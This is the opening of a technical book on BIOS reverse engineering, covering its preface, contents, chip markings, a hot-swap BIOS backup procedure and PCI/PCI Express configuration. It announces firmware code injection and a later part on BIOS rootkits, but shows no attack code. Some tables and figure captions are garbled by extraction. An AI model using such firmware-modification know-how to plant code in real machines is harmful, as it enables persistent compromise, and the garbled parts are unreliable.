BIOS
DISASSEMBLY
NINJUTSU
UNCOVERED
BIOS DISASSEMBLY NINJUTSU UNCOVERED – THE BOOK

For many years, there has been a myth among computer enthusiasts and practitioners that PC BIOS (Basic Input Output System) modification is a kind of black art and only a handful of people can do it or only the motherboard vendor can carry out such a task. On the contrary, this book will prove that with the right tools and approach, anyone can understand and modify the BIOS to suit their needs without the existence of its source code. It can be achieved by using a systematic approach to BIOS reverse engineering and modification. An advanced level of this modification technique is injecting a custom code to the BIOS binary.

There are many reasons to carry out BIOS reverse engineering and modification, from the fun of doing it to achieve higher clock speed in overclocking scenario, patching certain bug, injecting a custom security code into the BIOS, up to commercial interest in the embedded x86 BIOS market. The emergence of embedded x86 platform as consumer electronic products such as TV set-top boxes, telecom-related appliances and embedded x86 kiosks have raised the interest in BIOS reverse engineering and modification. In the coming years, these techniques will become even more important as the state of the art bus protocols have delegate a lot of their initialization task to the firmware, i.e. the BIOS. Thus, by understanding the techniques, one can dig the relevant firmware codes and understand the implementation of those protocols within the BIOS binary.

The main purpose of the BIOS is to initialize the system into execution environment suitable for the operating system. This task is getting more complex over the years, since x86 hardware evolves quite significantly. It’s one of the most dynamic computing platform on earth. Introduction of new chipsets happens once in 3 or at least 6 month. This event introduces a new code base for the silicon support routine within the BIOS. Nevertheless, the overall architecture of the BIOS is changing very slowly and the basic principle of the code inside the BIOS is preserved over generations of its code. However, there has been a quite significant change in the BIOS scene in the last few years, with the introduction of EFI (extensible Firmware Interface) by several major hardware vendors and with the growth in OpenBIOS project. With these advances in BIOS technology, it’s even getting more important to know systematically what lays within the BIOS.

In this book, the term BIOS has a much broader meaning than only motherboard BIOS, which is familiar to most of the reader. It also means the expansion ROM. The latter term is the official term used to refer to the firmware in the expansion cards within the PC, be it ISA, PCI or PCI Express.

So, what can you expect after reading this book? Understanding the BIOS will open a new frontier. You will be able to grasp how exactly the PC hardware works in its lowest level. Understanding contemporary BIOS will reveal the implementation of the latest bus protocol technology, i.e. HyperTransport and PCI-Express. In the software engineering front, you will be able to appreciate the application of compression technology in the BIOS. The most important of all, you will be able to carry out reverse engineering using advanced techniques and tools. You will be able to use the powerful IDA Pro disassembler efficiently. Some reader with advanced knowledge in hardware and software might even want to “borrow” some of the algorithm within the BIOS for their own purposes. In short, you will be on the same level as other BIOS code-diggers.

This book also presents a generic approach to PCI expansion ROM development using the widely available GNU tools. There will be no more myth in the BIOS and everyone will be able to learn from this state-of-the-art software technology for their own benefits.

THE AUDIENCE

This book is primarily oriented toward system programmers and computer security experts. In addition, electronic engineers, pc technicians and computer enthusiasts can also benefit a lot from this book. Furthermore, due to heavy explanation of applied computer architecture (x86
architecture) and compression algorithm, computer science students might also find it useful. However, nothing prevents any people who is curious about BIOS technology to read this book and get benefit from it.

Some prerequisite knowledge is needed to fully understand this book. It is not mandatory, but it will be very difficult to grasp some of the concepts without it. The most important knowledge is the understanding of x86 assembly language. Explanation of the disassembled code resulting from the BIOS binary and also the sample BIOS patches are presented in x86 assembly language. They are scattered throughout the book. Thus, it’s vital to know x86 assembly language, even with very modest familiarity. It’s also assumed that the reader have some familiarity with C programming language. The chapter that dwell on expansion ROM development along with the introductory chapter in BIOS related software development uses C language heavily for the example code. C is also used heavily in the section that covers IDA Pro scripts and plugin development. IDA Pro scripts have many similarities with C programming language. Familiarity with Windows Application Programming Interface (Win32API) is not a requirement, but is very useful to grasp the concept in the Optional section of chapter 3 that covers IDA Pro plugin development.

**THE ORGANIZATION**

The first part of the book lays the foundation knowledge to do BIOS reverse engineering and Expansion ROM development. In this part, the reader is introduced with:

- Various bus protocols in use nowadays within the x86 platform, i.e. PCI, HyperTransport and PCI-Express. The focus is toward the relationship between BIOS code execution and the implementation of protocols.
- Reverse engineering tools and techniques needed to carry out the tasks in later chapter, mostly introduction to IDA Pro disassembler along with its advanced techniques.
- Crash course on advanced compiler tricks needed to develop firmware. The emphasis is in using GNU C compiler to develop a firmware framework.

The second part of this book reveals the details of motherboard BIOS reverse engineering and modification. This includes in-depth coverage of BIOS file structure, algorithms used within the BIOS, explanation of various BIOS specific tools from its corresponding vendor and explanation of tricks to perform BIOS modification.

The third part of the book deals with the development of PCI expansion ROM. In this part, PCI Expansion ROM structure is explained thoroughly. Then, a systematic PCI expansion ROM development with GNU tools is presented.

The fourth part of the book deals heavily with the security concerns within the BIOS. This part is biased toward possible implementation of rootkits within the BIOS and possible exploitation scenario that might be used by an attacker by exploiting the BIOS flaw. Computer security experts will find a lot of important information in this part. This part is the central theme in this book. It’s presented to improve the awareness against malicious code that can be injected into BIOS.

The fifth part of the book deals with the application of BIOS technology outside of its traditional space, i.e. the PC. In this chapter, the reader is presented with various application of the BIOS technology in the emerging embedded x86 platform. In the end of this part, further application of the technology presented in this book is explained briefly. Some explanation regarding the OpenBIOS and Extensible Firmware Interface (EFI) is also presented.

**SOFTWARE TOOLS COMPATIBILITY**

This book mainly deals with reverse engineering tools running in windows operating system. However, in chapters that deal with PCI Expansion ROM development, an x86 Linux installation
is needed. This is due to the inherent problems that occurred with the windows port of the GNU tools when trying to generate a flat binary file from ELF file format.
Proposed Table of Contents

Preface i
Table of contents iv

Part I The Basics

Chapter 1 Introducing PC BIOS Technology 1
1.1. Motherboard BIOS 1
1.2. Expansion ROM 7
1.3. Other PC Firmware 9
1.4. Bus Protocols and Chipset Technology 9
   1.4.1. System-Wide Addressing 9
   1.4.2. PCI Bus Protocol 11
   1.4.3. Proprietary Inter-Chipset Protocol Technology 15
   1.4.4. PCI-Express Bus Protocol 17
   1.4.5. HyperTransport Bus Protocol 18

Chapter 2 Preliminary Reverse Code Engineering 19
2.1. Binary Scanning 19
2.2. Introducing IDA Pro 22
2.3. IDA Pro Scripting and Key Bindings 28
2.4. IDA Pro Plug-in Development (Optional) 37

Chapter 3 Preliminary BIOS-Related Software Development 48
3.1. BIOS-Related Software Development with Pure Assembler 48
3.2. BIOS-Related Software Development with GCC 53

Part II Motherboard BIOS Reverse Engineering

Chapter 4 Getting Acquainted with the System 61
4.1. Hardware Peculiarities 61
4.2. BIOS Binary Structure 74
4.3. Software Peculiarities 77
4.4. BIOS Disassembling with IDA Pro 81

Chapter 5 BIOS Reverse Engineering 83
5.1. Award BIOS 83
   5.1.1. Award BIOS File Structure 83
   5.1.2. Award BIOS Tools 85
   5.1.3. Award Bootblock BIOS Reverse Engineering 86
   5.1.4. Award System BIOS Reverse Engineering 99
5.2. AMI BIOS 113
   5.2.1. AMI BIOS File Structure 113
   5.2.2. AMI BIOS Tools 115
   5.2.3. AMI Bootblock BIOS Reverse Engineering 116
   5.2.4. AMI System BIOS Reverse Engineering 129

Chapter 6 BIOS Modification 173
6.1. Tools of the Trade 173
6.2. Code Injection 174
6.3. Other Modifications 184

Part III Expansion ROM
Chapter 15  What's Next?  428

• The Future of BIOS  428
  o Extensible Firmware Interface  428
  o BIOS Vendors Roadmap  430
• Ubiquitous Computing and BIOS  431
• The Future of the BIOS-Related Security Threat  434
Typographical Conventions

In this book, the **courier** font is used to indicate that text is one of the following:

1. Source code
2. Numeric values
3. Configuration file entries
4. Directory/paths in the file system
5. Datasheet snippets
6. CPU registers

Hexadecimal values are indicated by prefixing them with a **0x** or by appending them with h. For example, the integer value *4691* will, in hexadecimal, look like **0x1253** or **1253h**. Hexadecimal values larger than four digits will be accompanied by underscore every four consecutive hexadecimal digits to ease reading the value, as in **0xFFFF_0000** and **0xFD_FF00_0000**.

Binary values are indicated by appending them with b. For example, the integer value *5* will, in binary, look like **101b**.

Words will appear in the *italic* font, in this book, for following reasons:

1. When defining a new term
2. For emphasis

Words will appear in the **bold** font, in this book, for the following reasons:

3. When describing a menu within an application software in Windows
4. A key press, e.g. **CAPSLOCK, G, Shift, C**, etc.
5. For emphasis
Part I The Basics

Chapter 1 PC BIOS Technology

PREVIEW

This chapter is devoted to explaining the parts of a PC that make up the term basic input/output system (BIOS). These are not only motherboard BIOS, which most readers might already be accustomed to, but also expansion read-only memories (ROMs). The BIOS is one of the key parts of a PC. BIOS provides the necessary execution environment for the operating system. The approach that I take to explain this theme follows the logic of the execution of BIOS subsystems inside the PC. It is one of the fastest ways to gain a systematic understanding of BIOS technology. In this journey, you will encounter answers to common questions: Why is it there? Why does it have to be accomplished that way? The discussion starts with the most important BIOS, motherboard BIOS. On top of that, this chapter explains contemporary bus protocol technology, i.e., PCI Express, HyperTransport, and peripheral component interconnect (PCI). A profound knowledge of bus protocol technology is needed to be able to understand most contemporary BIOS code.

1.1. Motherboard BIOS

Motherboard BIOS is the most widely known BIOS from all kinds of BIOS. This term refers to the machine code that resides in a dedicated ROM chip on the motherboard. Today, most of these ROM chips are the members of flash-ROM family. This name refers to a ROM chip programmed\(^1\) electrically in a short interval, i.e., the programming takes only a couple of seconds.

There is a common misconception between the BIOS chip and the complementary metal oxide semiconductor (CMOS) chip. The former is the chip that's used to store the BIOS code, i.e., the machine code that will be executed when the processor executes the BIOS, and the latter is the chip that's used to store the BIOS parameters, i.e., the parameters that someone sets when entering the BIOS, such as the computer date and the RAM timing. Actually, CMOS chip is a misleading name. It is true that the chip is built upon CMOS technology. However, the purpose of the chip is to store BIOS information with the help of a dedicated battery. In that respect, it should've been called non-volatile random access memory (NVRAM) chip in order to represent the nature and purpose of the chip. Nonetheless, the CMOS chip term is used widely among PC users and hardware vendors.

---

\(^1\) Programmed in this context means being erased or written into.
Figure 1.1 Motherboard with a DIP-type BIOS chip

Figure 1.2 Motherboard with a PLCC-type BIOS chip
The widely employed chip packaging for BIOS ROM is PLCC\(^2\) (fig. 1.1) or DIP\(^3\) (fig. 1.2). Modern-day motherboards mostly use the PLCC package type. The top marking on the BIOS chip often can be seen only after the BIOS vendor sticker, e.g., Award BIOS or AMI BIOS, is removed. The commonly used format is shown in figure 1.3.

![Figure 1.3 BIOS chip marking](image)

1. The **vendor_name** is the name of the chip vendor, such as Winbond, SST, or Atmel.
2. The **chip_number** is the part number of the chip. Sometimes this part number includes the access time specification of the corresponding chip.
3. The **batch_number** is the batch number of the chip. It is used to mark the batch in which the chip belonged when it came out of the factory. Some chips might have no batch number.

   This chip marking is best explained by using an example (fig. 1.4).

---

\(^2\) Plastic lead chip carrier, one of the chip packaging technologies.  
\(^3\) Dual inline package, one of the chip packaging technologies.
In the marking in figure 1.4, the AT prefix means "made by Atmel," the part number is 29C020C, and 90PC means the chip has 90 ns of access time. Detailed information can be found by downloading and reading the datasheet of the chip from the vendor's website. The only information needed to obtain the datasheet is the part number.

It is important to understand the BIOS chip marking, especially the part number and the access time. The access time information is always specified in the corresponding chip datasheet. This information is needed when you intend to back up your BIOS chip with a chip from a different vendor. The access time and voltage level of both chips must match. Otherwise, the backup process will fail. The backup process can be carried out by hot swapping or by using specialized tools such as BIOS Saviour. Hot swapping is a dangerous procedure and is not recommended. Hot swapping can destroy the motherboard and possibly another component attached to the motherboard if it's not carried out carefully. However, if you are adventurous, you might want to try it in an old motherboard. The hot swapping steps are as follows:

1. Prepare a BIOS chip with the same type as the one in the current motherboard to be used as the target, i.e., the new chip that will be flashed with the BIOS in the current motherboard. This chip will act as the BIOS backup chip. Remove any sticker that keeps you from seeing the type of your motherboard BIOS chip (usually the Award BIOS or AMI BIOS logo). This will void your motherboard warranty, so proceed at your own risk. The same type of chip here means a chip that has the same part number as the current chip. If one can't be found, you can try a compatible chip, i.e., a chip that has the same capacity, voltage level, and timing characteristic. Note that finding a compatible chip is not too hard. Often, the vendor of flash-ROMs provides flash-ROM cross-reference documentation in their website. This documentation lists the compatible flash-ROM from other vendors. Another way to find a compatible chip is to download datasheets from two different vendors with similar part numbers and compare their properties according to both datasheets. If the capacity, voltage level, and access time match, then the chip is compatible. For example, ATMEAL AT29C020C is compatible with WINBOND W29C020C.
2. Prepare the BIOS flashing software in a diskette or in a file allocation table (FAT) formatted hard disk drive (HDD) partition. This software will be used to save BIOS binary from the original BIOS chip and to flash the binary into the backup chip. The BIOS flashing software is provided by the motherboard maker from its website, or sometimes it's shipped with the motherboard driver CD.

3. Power off the system and unplug it from electrical source. Loosen the original BIOS chip from the motherboard. It can be accomplished by first removing the chip using a screwdriver or IC extractor from the motherboard and then reattaching it firmly. Ensure that the chip is not attached too tightly to the motherboard and it can be removed by hand later. Also, ensure that electrical contact between the IC and the motherboard is strong enough so that the system will be able to boot.

4. Boot the system to the real-mode disk operating system (DOS). Beware that some motherboards may have a BIOS flash protection option in their BIOS setup. It has to be disabled before proceeding to the next step.

5. Run the BIOS flashing software and follow its on-screen direction to save the original BIOS binary to a FAT partition in the HDD or to a diskette.

6. After saving the original BIOS binary, carefully release the original BIOS chip from the motherboard. Note that this procedure is carried out with the computer still running in real-mode DOS.

7. Attach the backup chip to the motherboard firmly. Ensure that the electrical contact between the chip and the motherboard is strong enough.

8. Use the BIOS flashing software to flash the saved BIOS binary from the HDD partition or the diskette to the backup BIOS chip.

9. Reboot the system and see whether it boots successfully. If it does, the hot swapping has been successful.

Hot swapping is not as dangerous as you might think for an experienced hardware hacker. Nevertheless, use of a specialized device such as BIOS Saviour for BIOS backup is bulletproof.

Anyway, you might ask, why would the motherboard need a BIOS? There are several answers to this seemingly simple question. First, system buses, such as PCI, PCI-X, PCI Express, and HyperTransport consume memory address space and input/output (I/O) address space. Devices that reside in these buses need to be initialized to a certain address range within the system memory or I/O address space before being used. Usually, the memory address ranges used by these devices are located above the address range used for system random access memory (RAM) addressing. The addressing scheme depends on the motherboard chipset. Hence, you must consult the chipset datasheet(s) and the corresponding bus protocol for details of the addressing mechanism. I will explain this issue in a later chapter that dwells on the bus protocol.
Second, some components within the PC, such as RAM and the central processing unit (CPU) are running at the "undefined" clock speed just after the system is powered up. They must be initialized to some predefined clock speed. This is where the BIOS comes into play; it initializes the clock speed of those components.

The bus protocol influences the way the code inside the BIOS chip is executed, be it motherboard BIOS or other kinds of BIOS. Section 1.4 will delve into bus protocol fundamentals to clean up the issue.

1.2. Expansion ROM

Expansion ROM is a kind of BIOS that's embedded inside a ROM chip mounted on an add-in card. Its purpose is to initialize the board in which it's soldered or socketed before operating system execution. Sometimes it is mounted into an old ISA add-in card, in which case it's called ISA expansion ROM. If it is mounted to a PCI add-in card, it's called PCI expansion ROM. In most cases, PCI or ISA expansion ROM is implanted inside an erasable or electrically erasable programmable read-only memory chip or a flash-ROM chip in the PCI or ISA add-in card. In certain cases, it's implemented as the motherboard BIOS component. Specifically, this is because of motherboard design that incorporates some onboard PCI chip, such as a redundant array of independent disks (RAID) controller, SCSI controller, or serial advanced technology attachment (ATA) controller. Note that expansion ROM implemented as a motherboard BIOS component is no different from expansion ROM implemented in a PCI or ISA add-in card. In most cases, the vendor of the corresponding PCI chip that needs chip-specific initialization provides expansion ROM binary. You are going to learn the process of creating such binary in part 3 of this book.

---

4 "Undefined" clock speed in this context means the power-on default clock speed.

5 Expansion ROM is also called as option ROM in some articles and documentations. The terms are interchangeable.
Actually, there is some complication regarding PCI expansion ROM execution compared with ISA expansion ROM execution. ISA expansion ROM is executed in place, and PCI expansion ROM is always copied to RAM and executed from there. This issue will be explained in depth in the chapter that covers the PCI expansion ROM.

1.3. Other Firmware within the PC

It must be noted that motherboard and add-in cards are not the only ones that possess firmware. HDDs and CD-ROM drives also possess firmware. The firmware is used to control the physical devices within those drives and to communicate with the rest of the system. However, those kinds of firmware are not considered in this book. They are mentioned here just to ensure that you are aware of their existence.

1.4. Bus Protocols Fundamentals

This section explains bus protocols used in a PC motherboard, namely PCI, PCI Express, and HyperTransport. These protocols are tightly coupled with the BIOS. In fact, the BIOS is part of the bus protocol implementation. The BIOS handles the initialization of the addressing scheme employed in these buses. The BIOS handles another protocol-specific initialization. This section is not a thorough explanation of the bus protocols.

\[^6\] Executed in place means executed from the ROM chip in the expansion card.
themselves; it is biased toward BIOS implementation-related issues, particularly the *programming model* employed in the respective bus protocol.

First, it delves into the system-wide addressing scheme in contemporary systems. This role is fulfilled by the chipset. Thus, a specific implementation is used as an example.

### 1.4.1. System-wide Addressing

If you have never been playing around with system-level programming, you might find it hard to understand the organization of the overall physical memory address space in x86 architecture. It must be noted that *RAM is not the only hardware that uses the processor memory address space*; some other hardware is also mapped to the processor memory address space. This memory-mapped hardware includes PCI devices, PCI Express devices, HyperTransport devices, the advanced programmable interrupt controller (APIC), the video graphics array (VGA) device, and the BIOS ROM chip. It's the responsibility of the chipset to divide the x86 processor memory address space for RAM and other memory-mapped hardware devices. Among the motherboard chipsets, the northbridge is responsible for this system address-space organization, particularly its memory controller part. The memory controller decides where to forward a read or write request from the CPU to a certain memory address. This operation can be forwarded to RAM, memory-mapped VGA RAM, or the southbridge; it depends on the system configuration. If the northbridge is embedded inside the CPU itself, like in the AMD Athlon 64/Opteron architecture, the CPU decides where to forward these requests.

The influence of the bus protocol employed in x86 architecture to the system address map is enormous. To appreciate this, analyze a sample implementation in the form of a PCI Express chipset, Intel 955X-ICH7(R). This chipset is used with Intel Pentium 4 processors that support IA-32E and are capable of addressing RAM above the 4-GB limit.
Figure 1.6 Intel 955X-ICH7(R) system address map

Figure 1.6 shows that memory address space above the physical RAM is used for PCI devices, APIC, and BIOS flash-ROM. In addition, there are two areas of physical memory address space used by the RAM, i.e., below and above the 4-GB limit. This division is the result of the 4-GB limit of 32-bit addressing mode of x86 processors. Note that PCI Express devices are mapped to the same memory address range as PCI devices but they can't overlap each other. Several hundred kilobytes of the RAM address range is not addressable because its address space is consumed by other memory-mapped hardware devices, though this particular area may be available through system management mode (SMM). This is because of the need to maintain compatibility with DOS. In the DOS days, several areas of memory below 1 MB (10_0000h) were used to map hardware devices, such as the video card buffer and BIOS ROM. The "BARs" mentioned in figure 1.6 are an abbreviation for base address registers. These will be explained in a later section.

The system address map in figure 1.6 shows that the BIOS chip is mapped to two different address ranges, i.e., 4GB_minus_BIOS_chip_size to 4 GB and E_0000h to F_FFFFh. The former BIOS flash-ROM address range varies from chipset to chipset, depending on the maximum BIOS chip size supported by the chipset. This holds true for every chipset and must be taken into account when I delve into the BIOS code in later chapters. The latter address range mapping is supported in most contemporary chipsets. This 128-KB range (E_0000h–F_FFFFh) is an alias to the topmost 128-KB address range.
in the BIOS chip. Chipsets based on a different bus protocol, such as HyperTransport or the older chipsets based on PCI, also employ mapping of physical memory address space similar to that described here. It has to be done that way to maintain compatibility with the current BIOS code from different vendors and to maintain compatibility with legacy software. Actually, there are cost savings in employing this addressing scheme; the base code for the BIOS from all BIOS vendors (AMI, Award Phoenix, etc.) need not be changed or only needs to undergo minor changes.

1.4.2. PCI Bus Protocol

The PCI bus is a high-performance 32-bit or 64-bit parallel bus with multiplexed address and data lines. The bus is intended for use as an interconnect mechanism between highly integrated peripheral controller components, peripheral add-in cards, and processor or memory systems. It is the most widely used bus in PC motherboard design since the mid-1990s. It's only recently that this bus system has been replaced by newer serial bus protocols, i.e., PCI Express and HyperTransport. The PCI Special Interest Group is the board that maintains the official PCI bus standard.

PCI supports up to 256 buses in one system, with every bus supporting up to 32 devices and every device supporting up to eight functions. The PCI protocol defines the so-called PCI-to-PCI bridges that connect two different PCI bus segments. This bridge forwards PCI transactions from one bus to the neighboring bus segment. Apart from extending the bus topology, the presence of PCI-to-PCI bridges is needed due to an electrical loading issue. The PCI protocol uses reflected-wave signaling that only enables around 10 onboard devices per bus or only five PCI connectors per bus. PCI connectors are used for PCI expansion cards, and they account for two electrical loads, one for the connector itself and one for the expansion card inserted into the connector.

The most important issue to know in PCI bus protocol with regard to BIOS technology is its programming model and configuration mechanism. This theme is covered in chapter 6 of the official PCI specification, versions 2.3 and 3.0. It will be presented with in-depth coverage in this section.

The PCI bus configuration mechanism is accomplished by defining 256-byte registers called configuration space in each logical PCI device function. Note that each physical PCI device can contain more than one logical PCI device and each logical device can contain more than one function. The PCI bus protocol doesn't specify a single mechanism used to access this configuration space for PCI devices in all processor architectures; on the contrary, each processor architecture has its own mechanism to access the PCI configuration space. Some processor architectures map this configuration space into their memory address space (memory mapped), and others map this configuration space into their I/O address space (I/O mapped). Figure 1.7 shows a typical PCI configuration space organization for PCI devices that's not a PCI-to-PCI bridge.
The PCI configuration space in x86 architecture is mapped into the processor I/O address space. The I/O port addresses $0xCF8–0xCFB$ act as the configuration address port and I/O ports $0xCFC–0xCFF$ act as the configuration data port. These ports are used to configure the corresponding PCI chip, i.e., reading or writing the PCI chip configuration register values. It must be noted that the motherboard chipset itself, be it northbridge or southbridge, is a PCI chip. Thus, the PCI configuration mechanism is employed to configure these chips. In most cases, these chips are a combination of several PCI functions or devices; the northbridge contains the host bridge, PCI–PCI bridge (PCI–accelerated graphics port bridge), etc., and the southbridge contains the integrated drive electronics controller, low pin count (LPC) bridge, etc. The PCI–PCI bridge is defined to address the electrical loading issue that plagues the physical PCI bus. In addition, recent bus architecture uses it as a logical means to connect different chips, meaning it's used to travel the bus topology and to configure the overall bus system. The typical configuration space register for a PCI–PCI bridge is shown in figure 1.8.
Since the PCI bus is a 32-bit bus, communicating using this bus should be in 32-bit addressing mode. Writing or reading to this bus will require 32-bit addresses. Note that a 64-bit PCI bus is implemented by using dual address cycle, i.e., two address cycles are needed to access the address space of 64-bit PCI device(s). Communicating with the PCI configuration space in x86 is accomplished with the following algorithm (from the host or CPU point of view):

1. Write the target bus number, device number, function number, and offset or register number to the configuration address port (I/O ports 0xCF8–0xCFB) and set the enable bit in it to one. In plain English: Write the address of the register that will be read or written into the PCI address port.
2. Perform a 1-byte, 2-byte, or 4-byte I/O read from or write to the configuration data port (I/O port 0xCFC–0xCFF). In plain English: Read or write the data into the PCI data port.

With the preceding algorithm, you’ll need an x86 assembly code snippet that shows how to use those configuration ports.

**Listing 1.1 PCI Configuration Read and Write Routine Sample**

```
; Mnemonic is in MASM syntax
pushad       ; Save all contents of general-purpose registers.
```
This code snippet is a procedure that I injected into the BIOS of a motherboard based on a VIA 693A-596B PCI chipset to patch its memory controller configuration a few years ago. The code is clear enough; in line 1 the current data in the processor's general-purpose registers were saved. Then comes the crucial part, as I said earlier: PCI is a 32-bit bus system; hence, you have to use 32-bit addresses to communicate with the system. You do this by sending the PCI chip a 32-bit address through eax register and using port 0xCF8 as the port to send this data. Here's an example of the PCI register (sometimes called the offset) address format. In the routine in listing 1.1, you see the following:

```
...  
mov eax,80000064h  
...  
```

The `80000064h` is the address. The meanings of these bits are as follows:

<table>
<thead>
<tr>
<th>Bit Position</th>
<th>Binary Value</th>
<th>Hexadecimal Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>14</td>
<td>13</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

Figure 1.9 PCI configuration address sample (low word)
Figure 1.10 PCI configuration address sample (high word)

<table>
<thead>
<tr>
<th>Bit Position</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>31</td>
<td>This is an enable bit. Setting this bit to one will grant a write or read transaction through the PCI bus; otherwise, the transaction is not a valid configuration space access and it is ignored. That's why you need an 8 (8h) in the leftmost hex digit.</td>
</tr>
<tr>
<td>24–30</td>
<td>Reserved bits</td>
</tr>
<tr>
<td>11–15</td>
<td>PCI device number</td>
</tr>
<tr>
<td>8–10</td>
<td>PCI function number</td>
</tr>
<tr>
<td>2–7</td>
<td>Offset address (double word or 32-bit boundary)</td>
</tr>
<tr>
<td>0–1</td>
<td>Unused, since the addressing must be in the 32-bit boundary</td>
</tr>
</tbody>
</table>

Table 1.1 PCI register addressing explanation

Now, examine the previous value that was sent. If you are curious, you'll find that 80000064h means communicating with the device in bus 0, device 0, function 0, and offset 64. This is the memory controller configuration register of the VIA 693A northbridge. In most circumstances, the PCI device that occupies bus 0, device 0, function 0 is the host bridge. However, you need to consult the chipset datasheet to verify this. The next routines are easy to understand. If you still feel confused, I suggest that you learn a bit more of x86 assembly language. In general, the code does the following: it reads the offset data, modifies it, and writes it back to the device.

The configuration space of every PCI device contains device-specific registers used to configure the device. Some registers within the 256-bytes configuration space possibly are not implemented and simply return 0xFF on PCI configuration read cycles.

As you know, the amount of RAM can vary among systems. How can PCI devices handle this problem? How are they relocated to different addresses as needed? The answer lays in the PCI configuration space registers. Recall from figures 1.7 and 1.8 that the predefined configuration header contains a so-called BAR. These registers are responsible for PCI devices addressing. A BAR contains the starting address within the memory or I/O address space that will be used by the corresponding PCI device during its operation. The BAR contents can be read from and written into, i.e., they are programmable using software. It's the responsibility of the BIOS to initialize the BAR of every PCI device to the right value during boot time. The value must be unique and must not collide with the
memory or I/O address that’s used by another device or the RAM. Bit 0 in all BARs is read only and is used to determine whether the BARs map to the memory or I/O address space.

![Figure 1.11 Format of BAR that maps to memory space](image)

![Figure 1.12 Format of BAR that maps to I/O space](image)

Note that 64-bit PCI devices are implemented by using two consecutive BARs and can only map to the memory address space. A single PCI device can implement several BARs to be mapped to memory space while the remaining BAR is mapped to I/O space. This shows that the presence of BAR enables any PCI device to be relocatable within the system-wide memory and I/O address space.

How can BIOS initialize the address space usage of a single PCI device, since BAR only contains the lower limit of the address space that will be used by the device? How does the BIOS know how much address space will be needed by a PCI device? BAR contains **programmable bits** and **bits hardwired to zero**. The programmable bits are the most significant bits, and the hardwired bits are the least significant bits. The implementation note taken from PCI specification version 2.3 is as follows:

---

**Implementation Note: Sizing a 32-bit Base Address Register**

*Example*

Decode (I/O or memory) of a register is disabled via the command register before sizing a Base Address register. Software saves the original value of
the Base Address register, writes 0xFFFFFFFFh to the register, then reads it back. Size calculation can be done from the 32-bit value read by first clearing encoding information bits (bit 0 for I/O, bits 0–3 for memory), inverting all 32 bits (logical NOT), then incrementing by 1. The resultant 32-bit value is the memory–I/O range size decoded by the register. Note that the upper 16 bits of the result are ignored if the Base Address register is for I/O and bits 16–31 returned zero upon read. The original value in the Base Address register is restored before reenabling decode in the command register of the device.

64-bit (memory) Base Address registers can be handled the same, except that the second 32-bit register is considered an extension of the first; i.e., bits 32–63. Software writes 0xFFFFFFFFh to both registers, reads them back, and combines the result into a 64-bit value. Size calculation is done on the 64-bit value.

It's clear from the preceding implementation note that the BIOS can "interrogate" the PCI device to know the address space consumption of a PCI device. Upon knowing this information, BIOS can program the BAR to an unused address within the processor address space. Then, with the consumption information for the address space, the BIOS can program the next BAR to be placed in the next unused address space above the previous BAR address. The latter BAR must be located at least in the address that's calculated with the following formula:

\[
\text{next\_BAR} = \text{previous\_BAR} + \text{previous\_BAR\_address\_space\_consumption} + 1
\]

However, it's valid to program the BAR above the address calculated with the preceding formula. With these, the whole system address map will be functioning flawlessly. This relocatable element is one of the key properties that the PCI device brings to the table to eliminate the address space collision that once was the nightmare of ISA devices.

1.4.3. Proprietary Interchipset Protocol Technology

Motherboard chipset vendors have developed their own proprietary interchipset protocol between the northbridge and the southbridge in these last few years, such as VIA with V-Link, SiS with MuTIOL, and Intel with hub interface (HI). These protocols are only an interim solution to the bandwidth problem between the peripherals that reside in the PCI expansion slots, on-board PCI chips, and the main memory, i.e., system RAM. With the presence of newer and faster bus protocols such as PCI Express and HyperTransport in the market, these interim solutions are rapidly being phased out. However, reviewing them is important to clean up issues that might plague you once you discover the problem of understanding how it fits to the BIOS scene.

These proprietary protocols are transparent from configuration and initialization standpoints. They do not come up with something new. All are employing a PCI configuration mechanism to configure PCI compliant devices connected to the northbridge
and southbridge. The interchipset link in most cases is viewed as a bus connecting the northbridge and the southbridge. This “protocol transparency” is needed to minimize the effect of the protocol on the investment needed to implement it. As an example, the Intel 865PE-ICH5 chipset mentioned this property clearly in the i865PE datasheet, as follows:

In some previous chipsets, the “MCH” and the “I/O Controller Hub (ICHx)” were physically connected by PCI bus 0. From a configuration standpoint, both components appeared to be on PCI bus 0, which was also the system’s primary PCI expansion bus. The MCH contained two PCI devices while the ICHx was considered one PCI device with multiple functions.

In the 865PE/865P chipset platform the configuration structure is significantly different. The MCH and the ICH5 are physically connected by the hub interface, so, from a configuration standpoint, the hub interface is logically PCI bus 0. As a result, all devices internal to the MCH and ICHx appear to be on PCI bus 0. The system’s primary PCI expansion bus is physically attached to the ICH5 and, from a configuration perspective, appears to be a hierarchical PCI bus behind a PCI-to-PCI bridge; therefore, it has a programmable PCI Bus number. Note that the primary PCI bus is referred to as PCI_A in this document and is not PCI bus 0 from a configuration standpoint. The AGP [accelerated graphics port] appears to system software to be a real PCI bus behind PCI-to-PCI bridges resident as devices on PCI bus 0.

The MCH contains four PCI devices within a single physical component.

Further information regarding these protocols can be found in the corresponding chipset datasheets. Perhaps, some chipset's datasheet does not mention this property clearly. Nevertheless, by analogy, you can conclude that those chipsets must have adhered to the same principle.

1.4.4. PCI Express Bus Protocol

The PCI Express protocol supports the PCI configuration mechanism explained in the previous subsection. Thus, in PCI Express–based systems, the PCI configuration mechanism is still used. In most cases, to enable the new PCI Express–enhanced configuration mechanism, the BIOS has to initialize some critical PCI Express registers by using the PCI configuration mechanism before proceeding to use the PCI Express–enhanced configuration mechanism. It's necessary because the new PCI Express–enhanced configuration mechanism uses BARs that have to be initialized to a known address in the system-wide address space before the new PCI Express–enhanced configuration cycle.

PCI Express devices, including PCI Express chipsets, use the so-called root complex register block (RCRB) for device configuration. The registers in the RCRB are memory-mapped registers. Contrary to the PCI configuration mechanism that uses I/O read/write transactions, the PCI Express–enhanced configuration mechanism uses memory read/write transactions to access any register in the RCRB. However, the read/write instructions must be carried out in a 32-bit boundary, i.e., must not cross the 32-bit natural boundary in the memory address space. A root complex base address register (RCBAR) is
used to address the RCRB in the memory address space. The RCBAR is configured using
the PCI configuration mechanism. Thus, the algorithm used to configure any register in the
RCRB as follows:

1. Initialize the RCBAR in the PCI Express device to a known address in the
   memory address space by using the PCI configuration mechanism.
2. Perform a memory read or write on 32-bit boundary to the memory-mapped
   register by taking into account the RCBAR value; i.e., the address of the register in
   the memory address space is equal to the RCBAR value plus the offset of the
   register in the RCRB.

